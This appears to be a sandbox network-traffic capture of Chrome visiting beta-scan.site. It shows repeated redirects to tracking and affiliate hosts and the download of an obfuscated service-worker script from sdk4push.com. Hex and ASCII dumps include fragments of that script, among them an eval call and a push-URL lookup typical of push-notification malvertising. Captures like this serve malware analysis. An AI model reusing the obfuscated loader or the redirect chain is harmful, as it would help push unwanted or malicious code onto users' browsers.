2024-10-03 15:19:20 UTC	1227	OUT	GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1 Host: avkk.newplanexcel.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AWSALB=3khX0y51rfhlTotRwgQOA4n5//kxR1xfkDCYgFhD3C8gXaTSyXtyzcYh703XbI34LRNhclEl7S6joICLC1kS5R25XJUyG+1x5uHM4/s866fx98PJJOGyNsE+Nzb/; AWSALBCORS=3khX0y51rfhlTotRwgQOA4n5//kxR1xfkDCYgFhD3C8gXaTSyXtyzcYh703XbI34LRNhclEl7S6joICLC1kS5R25XJUyG+1x5uHM4/s866fx98PJJOGyNsE+Nzb/; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbn:TLbvDq3GZUIcG9E1KwDBcExgZZ8"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"]:1swNbo:KvVIln1qNAe2Okj4o04tPWKRmXA"
2024-10-03 15:19:21 UTC	1217	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 15:19:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Set-Cookie: AWSALB=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; Expires=Thu, 10 Oct 2024 15:19:21 GMT; Path=/ Set-Cookie: AWSALBCORS=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; Expires=Thu, 10 Oct 2024 15:19:21 GMT; Path=/; SameSite=None; Secure Server: nginx/1.14.2 Location: https://www.jdoqocy.com/click-101155411-15590427?sid=5afb91a4-7e36-4511-9a2e-9ee8f0281a86 Cache-Control: no-transform X-Frame-Options: SAMEORIGIN Vary: Accept-Language, Cookie, Origin Content-Language: en Set-Cookie: uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbt:gX2yciDBRNnPF9PKzr_r_d9VYy8"; expires=Sat, 02 Nov 2024 15:19:21 GMT; Max-Age=2592000; Path=/ Set-Cookie: ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"]:1swNbt:DL7JxVCIIx103vK_ENumxOpNIKY"; expires=Sat, 02 Nov 2024 17:19:21 GMT; Max-Age=2599200; Path=/; SameSite=None; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.17	55866	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:20 UTC	400	OUT	GET /f/sw.js HTTP/1.1 Host: sdk4push.com Connection: keep-alive Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:21 UTC	237	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:20 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 78443 Connection: close Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate
2024-10-03 15:19:21 UTC	16147	IN	Data Raw: 76 61 72 20 61 33 5f 30 78 35 32 35 37 3d 5b 22 42 77 76 5a 43 32 66 4e 7a 71 3d 3d 22 2c 22 77 33 6a 48 78 73 62 4d 7a 78 72 4a 41 63 62 4c 43 4e 6a 56 43 4a 4f 47 44 33 6a 56 42 4d 43 47 43 33 72 48 44 68 76 5a 69 67 6e 56 7a 67 75 3d 22 2c 22 72 32 76 55 7a 78 6a 48 44 67 39 59 69 67 4c 5a 69 67 66 53 43 4d 76 48 7a 68 4b 47 7a 78 48 4c 79 33 76 30 41 77 35 4e 6c 47 3d 3d 22 2c 22 79 32 39 55 43 33 72 59 44 77 6e 30 42 33 69 3d 22 2c 22 71 32 39 55 44 67 76 55 44 63 31 75 45 78 62 4c 22 2c 22 77 33 6e 33 78 73 62 4d 42 33 6a 4a 7a 73 62 31 42 4e 6e 31 79 4e 6e 4a 43 4d 4c 49 41 77 35 4e 22 2c 22 7a 78 6a 59 42 33 6a 64 42 32 72 4c 22 2c 22 79 77 6e 30 41 78 7a 48 44 67 75 3d 22 2c 22 75 4d 76 57 42 67 66 4a 7a 71 3d 3d 22 2c 22 43 32 76 55 7a 66 62 31 Data Ascii: var a3_0x5257=["BwvZC2fNzq==","w3jHxsbMzxrJAcbLCNjVCJOGD3jVBMCGC3rHDhvZignVzgu=","r2vUzxjHDg9YigLZigfSCMvHzhKGzxHLy3v0Aw5NlG==","y29UC3rYDwn0B3i=","q29UDgvUDc1uExbL","w3n3xsbMB3jJzsb1BNn1yNnJCMLIAw5N","zxjYB3jdB2rL","ywn0AxzHDgu=","uMvWBgfJzq==","C2vUzfb1
2024-10-03 15:19:21 UTC	16384	IN	Data Raw: 65 77 20 74 28 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 28 6e 29 7d 29 29 7d 72 65 74 75 72 6e 20 6e 65 77 28 74 7c 7c 28 74 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 61 3d 61 33 5f 30 78 31 37 36 30 3b 66 75 6e 63 74 69 6f 6e 20 63 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 31 33 62 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 62 61 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 6e 5b 72 28 Data Ascii: ew t((function(r){r(n)}))}return new(t\|\|(t=Promise))((function(t,i){var a=a3_0x1760;function c(n){var r=a3_0x1760;try{o(x[r("0x13b")](n))}catch(n){i(n)}}function u(n){var r=a3_0x1760;try{o(x[r("0xba")](n))}catch(n){i(n)}}function o(n){var r=a3_0x1760;n[r(
2024-10-03 15:19:21 UTC	16384	IN	Data Raw: 22 29 5d 3d 72 5b 74 28 22 30 78 31 31 34 22 29 5d 3d 72 5b 22 69 64 62 22 5d 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 76 61 72 20 72 3d 74 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 76 61 72 20 78 3d 61 33 5f 30 78 31 37 36 30 2c 65 3d 73 65 6c 66 5b 78 28 22 30 78 65 34 22 29 5d 5b 78 28 22 30 78 37 36 22 29 5d 28 6e 5b 22 73 74 6f 72 65 4e 61 6d 65 22 5d 2c 6e 5b 22 76 65 72 73 69 6f 6e 22 5d 29 3b 65 5b 78 28 22 30 78 31 31 35 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 78 2c 65 3d 72 5b 22 74 61 72 67 65 74 22 5d 5b 74 28 22 30 78 65 63 22 29 5d 2c 69 3d 6e 5b 74 28 22 30 78 34 38 22 29 5d 7c 30 3b 73 77 69 74 63 68 28 69 29 7b 63 61 73 65 20 Data Ascii: ")]=r[t("0x114")]=r["idb"]=void 0;function a(n){var r=t;return new Promise((function(r,t){var x=a3_0x1760,e=self[x("0xe4")][x("0x76")](n["storeName"],n["version"]);e[x("0x115")]=function(r){var t=x,e=r["target"][t("0xec")],i=n[t("0x48")]\|0;switch(i){case
2024-10-03 15:19:21 UTC	16384	IN	Data Raw: 30 78 32 33 22 29 5d 5b 79 28 22 30 78 64 31 22 29 5d 28 29 5d 3b 63 61 73 65 20 32 3a 72 5b 79 28 22 30 78 65 31 22 29 5d 3d 6c 5b 79 28 22 30 78 31 33 61 22 29 5d 28 29 2c 6c 5b 22 6c 61 62 65 6c 22 5d 3d 33 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 5b 34 2c 28 30 2c 66 5b 79 28 22 30 78 63 31 22 29 5d 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 62 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 61 33 5f 30 78 31 37 36 30 3b 72 65 74 75 72 6e 5b 32 2c 28 30 2c 6f 5b 74 28 22 30 78 31 31 39 22 29 5d 29 28 74 68 69 73 5b 74 28 22 30 78 63 34 22 29 5d 5b 22 67 65 74 5f 70 75 73 68 5f 75 72 6c 22 5d 2c Data Ascii: 0x23")][y("0xd1")]()];case 2:r[y("0xe1")]=l[y("0x13a")](),l["label"]=3;case 3:return[4,(0,f[y("0xc1")])((function(){return e(b,void 0,void 0,(function(){return i(this,(function(r){var t=a3_0x1760;return[2,(0,o[t("0x119")])(this[t("0xc4")]["get_push_url"],
2024-10-03 15:19:21 UTC	13144	IN	Data Raw: 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 33 39 35 32 32 37 2c 5f 30 78 33 63 66 63 37 30 3b 72 65 74 75 72 6e 20 5f 30 78 32 66 39 62 37 34 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 64 35 38 29 7b 76 61 72 20 5f 30 78 32 31 36 63 39 38 3d 61 33 5f 30 78 31 37 36 30 3b 73 77 69 74 63 68 28 5f 30 78 32 66 30 64 35 38 5b 5f 30 78 32 31 36 63 39 38 28 22 30 78 36 30 22 29 5d 29 7b 63 61 73 65 20 30 3a 69 66 28 21 28 5f 30 78 35 37 35 39 34 66 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 72 65 74 75 72 6e 5b 33 2c 32 5d 3b 5f 30 78 33 39 35 32 32 37 3d 65 76 61 6c 28 5f 30 78 35 37 35 39 34 66 29 2c 5f 30 78 33 63 66 63 37 30 3d 5f 30 78 34 38 39 34 64 36 5b 22 50 75 73 68 53 74 6f 72 65 22 5d 5b 5f 30 78 32 31 36 63 39 Data Ascii: ,(function(){var _0x395227,_0x3cfc70;return _0x2f9b74(this,(function(_0x2f0d58){var _0x216c98=a3_0x1760;switch(_0x2f0d58[_0x216c98("0x60")]){case 0:if(!(_0x57594f!==undefined))return[3,2];_0x395227=eval(_0x57594f),_0x3cfc70=_0x4894d6["PushStore"][_0x216c9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.17	55868	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:23 UTC	956	OUT	GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:23 UTC	313	IN	HTTP/1.1 302 Found Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://avkk.newplanexcel.com/t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 Strict-Transport-Security: max-age=31536000
2024-10-03 15:19:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.17	55869	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:23 UTC	684	OUT	GET /1211351.sw.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en If-None-Match: "66d31066-70" If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
2024-10-03 15:19:23 UTC	219	IN	HTTP/1.1 304 Not Modified Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:23 GMT Last-Modified: Sat, 31 Aug 2024 12:45:26 GMT Connection: close ETag: "66d31066-70" Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.17	55873	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:24 UTC	956	OUT	GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:25 UTC	313	IN	HTTP/1.1 302 Found Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://avkk.newplanexcel.com/t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 Strict-Transport-Security: max-age=31536000
2024-10-03 15:19:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.17	55871	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:24 UTC	400	OUT	GET /f/sw.js HTTP/1.1 Host: sdk4push.com Connection: keep-alive Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:24 UTC	237	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:24 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 78443 Connection: close Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate
2024-10-03 15:19:24 UTC	16147	IN	Data Raw: 76 61 72 20 61 33 5f 30 78 35 32 35 37 3d 5b 22 42 77 76 5a 43 32 66 4e 7a 71 3d 3d 22 2c 22 77 33 6a 48 78 73 62 4d 7a 78 72 4a 41 63 62 4c 43 4e 6a 56 43 4a 4f 47 44 33 6a 56 42 4d 43 47 43 33 72 48 44 68 76 5a 69 67 6e 56 7a 67 75 3d 22 2c 22 72 32 76 55 7a 78 6a 48 44 67 39 59 69 67 4c 5a 69 67 66 53 43 4d 76 48 7a 68 4b 47 7a 78 48 4c 79 33 76 30 41 77 35 4e 6c 47 3d 3d 22 2c 22 79 32 39 55 43 33 72 59 44 77 6e 30 42 33 69 3d 22 2c 22 71 32 39 55 44 67 76 55 44 63 31 75 45 78 62 4c 22 2c 22 77 33 6e 33 78 73 62 4d 42 33 6a 4a 7a 73 62 31 42 4e 6e 31 79 4e 6e 4a 43 4d 4c 49 41 77 35 4e 22 2c 22 7a 78 6a 59 42 33 6a 64 42 32 72 4c 22 2c 22 79 77 6e 30 41 78 7a 48 44 67 75 3d 22 2c 22 75 4d 76 57 42 67 66 4a 7a 71 3d 3d 22 2c 22 43 32 76 55 7a 66 62 31 Data Ascii: var a3_0x5257=["BwvZC2fNzq==","w3jHxsbMzxrJAcbLCNjVCJOGD3jVBMCGC3rHDhvZignVzgu=","r2vUzxjHDg9YigLZigfSCMvHzhKGzxHLy3v0Aw5NlG==","y29UC3rYDwn0B3i=","q29UDgvUDc1uExbL","w3n3xsbMB3jJzsb1BNn1yNnJCMLIAw5N","zxjYB3jdB2rL","ywn0AxzHDgu=","uMvWBgfJzq==","C2vUzfb1
2024-10-03 15:19:25 UTC	16384	IN	Data Raw: 65 77 20 74 28 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 28 6e 29 7d 29 29 7d 72 65 74 75 72 6e 20 6e 65 77 28 74 7c 7c 28 74 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 61 3d 61 33 5f 30 78 31 37 36 30 3b 66 75 6e 63 74 69 6f 6e 20 63 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 31 33 62 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 62 61 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 6e 5b 72 28 Data Ascii: ew t((function(r){r(n)}))}return new(t\|\|(t=Promise))((function(t,i){var a=a3_0x1760;function c(n){var r=a3_0x1760;try{o(x[r("0x13b")](n))}catch(n){i(n)}}function u(n){var r=a3_0x1760;try{o(x[r("0xba")](n))}catch(n){i(n)}}function o(n){var r=a3_0x1760;n[r(
2024-10-03 15:19:25 UTC	16384	IN	Data Raw: 22 29 5d 3d 72 5b 74 28 22 30 78 31 31 34 22 29 5d 3d 72 5b 22 69 64 62 22 5d 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 76 61 72 20 72 3d 74 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 76 61 72 20 78 3d 61 33 5f 30 78 31 37 36 30 2c 65 3d 73 65 6c 66 5b 78 28 22 30 78 65 34 22 29 5d 5b 78 28 22 30 78 37 36 22 29 5d 28 6e 5b 22 73 74 6f 72 65 4e 61 6d 65 22 5d 2c 6e 5b 22 76 65 72 73 69 6f 6e 22 5d 29 3b 65 5b 78 28 22 30 78 31 31 35 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 78 2c 65 3d 72 5b 22 74 61 72 67 65 74 22 5d 5b 74 28 22 30 78 65 63 22 29 5d 2c 69 3d 6e 5b 74 28 22 30 78 34 38 22 29 5d 7c 30 3b 73 77 69 74 63 68 28 69 29 7b 63 61 73 65 20 Data Ascii: ")]=r[t("0x114")]=r["idb"]=void 0;function a(n){var r=t;return new Promise((function(r,t){var x=a3_0x1760,e=self[x("0xe4")][x("0x76")](n["storeName"],n["version"]);e[x("0x115")]=function(r){var t=x,e=r["target"][t("0xec")],i=n[t("0x48")]\|0;switch(i){case
2024-10-03 15:19:25 UTC	16384	IN	Data Raw: 30 78 32 33 22 29 5d 5b 79 28 22 30 78 64 31 22 29 5d 28 29 5d 3b 63 61 73 65 20 32 3a 72 5b 79 28 22 30 78 65 31 22 29 5d 3d 6c 5b 79 28 22 30 78 31 33 61 22 29 5d 28 29 2c 6c 5b 22 6c 61 62 65 6c 22 5d 3d 33 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 5b 34 2c 28 30 2c 66 5b 79 28 22 30 78 63 31 22 29 5d 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 62 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 61 33 5f 30 78 31 37 36 30 3b 72 65 74 75 72 6e 5b 32 2c 28 30 2c 6f 5b 74 28 22 30 78 31 31 39 22 29 5d 29 28 74 68 69 73 5b 74 28 22 30 78 63 34 22 29 5d 5b 22 67 65 74 5f 70 75 73 68 5f 75 72 6c 22 5d 2c Data Ascii: 0x23")][y("0xd1")]()];case 2:r[y("0xe1")]=l[y("0x13a")](),l["label"]=3;case 3:return[4,(0,f[y("0xc1")])((function(){return e(b,void 0,void 0,(function(){return i(this,(function(r){var t=a3_0x1760;return[2,(0,o[t("0x119")])(this[t("0xc4")]["get_push_url"],
2024-10-03 15:19:25 UTC	13144	IN	Data Raw: 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 33 39 35 32 32 37 2c 5f 30 78 33 63 66 63 37 30 3b 72 65 74 75 72 6e 20 5f 30 78 32 66 39 62 37 34 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 64 35 38 29 7b 76 61 72 20 5f 30 78 32 31 36 63 39 38 3d 61 33 5f 30 78 31 37 36 30 3b 73 77 69 74 63 68 28 5f 30 78 32 66 30 64 35 38 5b 5f 30 78 32 31 36 63 39 38 28 22 30 78 36 30 22 29 5d 29 7b 63 61 73 65 20 30 3a 69 66 28 21 28 5f 30 78 35 37 35 39 34 66 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 72 65 74 75 72 6e 5b 33 2c 32 5d 3b 5f 30 78 33 39 35 32 32 37 3d 65 76 61 6c 28 5f 30 78 35 37 35 39 34 66 29 2c 5f 30 78 33 63 66 63 37 30 3d 5f 30 78 34 38 39 34 64 36 5b 22 50 75 73 68 53 74 6f 72 65 22 5d 5b 5f 30 78 32 31 36 63 39 Data Ascii: ,(function(){var _0x395227,_0x3cfc70;return _0x2f9b74(this,(function(_0x2f0d58){var _0x216c98=a3_0x1760;switch(_0x2f0d58[_0x216c98("0x60")]){case 0:if(!(_0x57594f!==undefined))return[3,2];_0x395227=eval(_0x57594f),_0x3cfc70=_0x4894d6["PushStore"][_0x216c9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.17	55870	18.139.38.244	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:25 UTC	1272	OUT	GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1 Host: avkk.newplanexcel.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AWSALB=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; AWSALBCORS=M7ms/ELUjlTpYt0emiu6USPxCMdvOwXWczj8o5lQj9kFJPRYEV1FWBUGCijV1sff3e3/a4CHbENVKPtuj45DMRjGpqStX9bWPfRIntHDP6MjxF7MuuTvj5wFO4GL; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbt:gX2yciDBRNnPF9PKzr_r_d9VYy8"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"]:1swNbt:DL7JxVCIIx103vK_ENumxOpNIKY"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.17	55872	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:25 UTC	956	OUT	GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:25 UTC	313	IN	HTTP/1.1 302 Found Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://avkk.newplanexcel.com/t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 Strict-Transport-Security: max-age=31536000
